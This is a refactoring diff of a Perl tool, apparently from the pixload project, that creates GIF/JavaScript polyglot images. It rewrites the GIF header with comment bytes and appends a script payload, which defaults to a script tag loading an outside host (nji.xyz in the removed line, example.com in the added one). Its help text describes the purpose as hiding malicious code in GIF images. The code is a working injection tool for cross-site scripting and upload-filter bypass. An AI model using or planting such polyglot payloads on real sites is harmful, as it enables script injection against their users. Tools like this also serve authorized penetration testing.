pixload-gif: refactor

pixload-gif

@@ -10,91 +10,132 @@
 
 use strict;
 use warnings;
+
 use feature 'say';
 
 use POSIX;
-use Getopt::Long;
-use GD;
-
-sub usage;
-sub create_gif;
-sub inject_payload;
-
-# Command line options
-GetOptions(
-    'help!'     =>  \my $help,
-    'payload=s' =>  \my $payload,
-    'output=s'  =>  \my $outfile,
-);
-usage(0)     if $help;
-usage(1) unless $outfile;
+use Getopt::Long qw(:config no_ignore_case);
+use File::Basename;
 
-$payload //= '<script src=//nji.xyz></script>';
+use constant PROGRAM => basename $0;
+use constant VERSION => 0.2;
 
-say <<EOF;
-[>|      GIF Payload Creator/Injector       |<]
-
-    https://github.com/chinarulezzz/pixload
-
-EOF
+use GD;
 
-create_gif              unless -f $outfile;
-inject_payload;
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+#                              Default Options                                #
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
-say `file       $outfile`   if -f '/usr/bin/file';
-say `hexdump -C $outfile`   if -f '/usr/bin/hexdump';
+my %opts = (
+    pixelwidth      => 32,
+    pixelheight     => 32,
+    payload         => '<script src=//example.com></script>',
+);
 
 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 #                                Subroutines                                  #
 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
-sub usage {
-    say <<"EOF";
-Usage: $0 [-payload 'STRING'] -output payload.gif
-
-If the output file exists, then the payload will be injected into the
-existing file.  Else the new one will be generated.
-EOF
-    exit +shift;
-}
-
 sub create_gif {
     say "[>] Generating output file";
 
     my $img = GD::Image->new(
-        32,
-        32,
-         1, # Set 1 to TrueColor (24 bits of color data), default is 8-bit palette
+        $opts{pixelwidth},
+        $opts{pixelheight},
+        # set 1 to TrueColor (24 bits of color data), default is 8-bit palette
+        1,
     );
 
     my $color = $img->colorAllocate(0, 0, 0);
 
     $img->setPixel(0, 0, $color);
 
-    sysopen my $fh, $outfile, O_CREAT|O_WRONLY;
+    sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
     syswrite   $fh, $img->gif;
     close      $fh;
 
-    say "[✔] File saved to: $outfile\n";
+    say "[✔] File saved to: $opts{FILE}\n";
 }
 
 sub inject_payload {
-    say "[>] Injecting payload into $outfile";
+    say "[>] Injecting payload into $opts{FILE}";
 
-    sysopen my $fh, $outfile, O_WRONLY;
+    sysopen my $fh, $opts{FILE}, O_WRONLY;
     sysseek    $fh, 6, SEEK_SET;
 
     syswrite   $fh, "\x2f\x2a";
     sysseek    $fh, 0, SEEK_END;
 
     syswrite   $fh, "\x2a\x2f\x3d\x31\x3b";
-    syswrite   $fh, $payload;
+    syswrite   $fh, $opts{payload};
     syswrite   $fh, "\x3b";
 
     close      $fh;
 
     say "[✔] Payload was injected successfully\n";
 }
 
+sub banner {
+    <<EOF;
+........ GIF Payload Creator/Injector .........
+...............................................
+... https://github.com/chinarulezzz/pixload ...
+...............................................
+EOF
+}
+
+sub usage {
+    <<"EOF";
+Usage: @{[ PROGRAM ]} [OPTION]... FILE
+Hide payload/malicious code in GIF images.
+
+Mandatory arguments to long options are mandatory for short options too.
+  -W, --pixelwidth  INTEGER   (has no effect)
+                              set pixel width for the new image (default: 10799)
+  -H, --pixelheight INTEGER   set pixel height for the new image (default: 32)
+  -P, --payload     STRING    set payload for injection
+  -v, --version               print version and exit
+  -h, --help                  print help and exit
+
+The option -W, --pixelwidth has no effect since ${[ PROGRAM ]} rewrites
+pixel width bytes with "/*" characters, to prepare the polyglot gif image.
+
+If the output FILE already exists, then the payload will be injected into this
+existing file. Otherwise, the new one will be created with specified pixels
+wide.
+EOF
+}
+
+sub version {
+    PROGRAM . " " . VERSION;
+}
+
+sub main {
+    # command-line options
+    GetOptions(
+        'h|help!'           =>  \$opts{help},
+        'v|version!'        =>  \$opts{version},
+        'P|payload=s'       =>  \$opts{payload},
+        'W|pixelwidth=i'    =>  \$opts{pixelwidth},
+        'H|pixelheight=i'   =>  \$opts{pixelheight},
+    ) or die "$!\n";
+
+    $opts{FILE} = shift @ARGV;
+
+    say &usage    and  exit(0)  if   $opts{help};
+    say &version  and  exit(0)  if   $opts{version};
+    say &usage    and  exit(1)  if ! $opts{FILE};
+
+    say &banner;
+
+    &create_gif if ! -f $opts{FILE};
+    &inject_payload;
+
+    say `file       $opts{FILE}`   if -f '/usr/bin/file';
+    say `hexdump -C $opts{FILE}`   if -f '/usr/bin/hexdump';
+}
+
+&main;
+
 # vim:sw=4:ts=4:sts=4:et:cc=80
-# End of file
+# End of file.